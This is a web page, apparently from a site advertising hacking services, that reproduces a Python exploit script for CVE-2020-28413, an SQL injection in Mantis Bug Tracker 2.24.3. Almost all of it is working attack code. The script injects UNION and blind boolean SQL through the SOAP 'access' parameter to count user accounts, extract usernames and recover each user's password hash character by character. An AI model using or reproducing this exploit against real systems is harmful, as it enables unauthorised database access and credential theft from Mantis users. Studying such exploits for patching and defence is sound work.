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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Mantis Bug Tracker 2.24.3 - 'access' SQL Injection
# Date: 30/12/2020
# Exploit Author: EthicalHCOP
# Vendor Homepage: https://www.mantisbt.org/
# Version: 2.24.3
# CVE: CVE-2020-28413

import requests, sys, time
from lxml import etree

proxies = {
     "http": "http://127.0.0.1:8080",
     "https": "http://127.0.0.1:8080",
    }

def Hacer_Peticion(query):
    home = ""
    url = home+"/api/soap/mantisconnect.php"
    headers = {'content-type': 'text/xml',
               'SOAPAction': url+'"/mc_project_get_users"'}
    mantis_db_user = ""
    mantis_db_pass = ""
    body = """<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
       <soapenv:Header/>
       <soapenv:Body>
          <man:mc_project_get_users soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
             <username xsi:type="xsd:string">"""+mantis_db_user+"""</username>
             <password xsi:type="xsd:string">"""+mantis_db_pass+"""</password>
             <project_id xsi:type="xsd:integer">0</project_id>
             <access xsi:type="xsd:string">"""+query+"""</access>
          </man:mc_project_get_users>
       </soapenv:Body>
    </soapenv:Envelope>"""
    response = requests.post(url, data=body, headers=headers, verify=False)
    #response = requests.post(url, data=body, headers=headers, proxies=proxies, verify=False)
    parser = etree.XMLParser(remove_blank_text=True)
    xml = etree.XML(response.content, parser)
    xml = etree.tostring(xml)
    return(str(xml))

def Cantidad_Usuarios_Mantis():
    query = "0 union all select concat('-',(select count(*) " \
            "from mantis_user_table),'0'),2,3,4 order by id asc limit 1"
    xml = Hacer_Peticion(query)
    txt = xml.split("integer")
    txt = txt[1].split("id")
    registros = str(str(str(txt[0])[:-2])[-2:])[:-1]
    return(registros)

def Obtener_Id(usr_pos):
    query = "0 union all select concat((SELECT id FROM mantis_user_table " \
            "order by id asc limit 0,1),'0'),2,3,4 limit "+str(usr_pos)+",1"
    xml = Hacer_Peticion(query)
    txt = xml.split("integer")
    txt = txt[1].split("id")
    id = str(str(txt[0])[:-2])[-1:]
    name = str(str(txt[1])[29:]).split("</name>")[0]
    return (id+"-"+name)

def brute_force(data):
    charts = "abcdefghijklmnopqrstuvwxyz0123456789"
    passw = ""
    id = data.split("-")[0]
    name = data.split("-")[1]
    for cp in range (1,33,1):
        for c in charts:
            print(f"\rHash: {passw}", end="")
            time.sleep(0.00001)
            sys.stdout.flush()
            query = "0 union all select (select if(substring((select binary(password) " \
                    "from mantis_user_table where id = " + str(id) + ")," + str(cp) + ",1)='" + str(c) + "','0','900000000000000000000')), 2,3,4 order by id asc limit 1"
            xml = Hacer_Peticion(query)
            txt = xml.split("integer")
            txt = txt[1].split("id")
            r_id = str(str(txt[0])[:-2])[-1:]
            if(r_id=="0"):
                passw = passw + str(c)
                break
    print(f"\r", end="")
    sys.stdout.flush()
    print(name+": "+passw)

def main():
    cantidad_users = Cantidad_Usuarios_Mantis()
    print("Cantidad usuarios en db: "+str(cantidad_users))
    print("Obteniendo Hashes...")
    for x in range(0,int(cantidad_users),1):
        brute_force(Obtener_Id(x))

if __name__ == "__main__":
    main()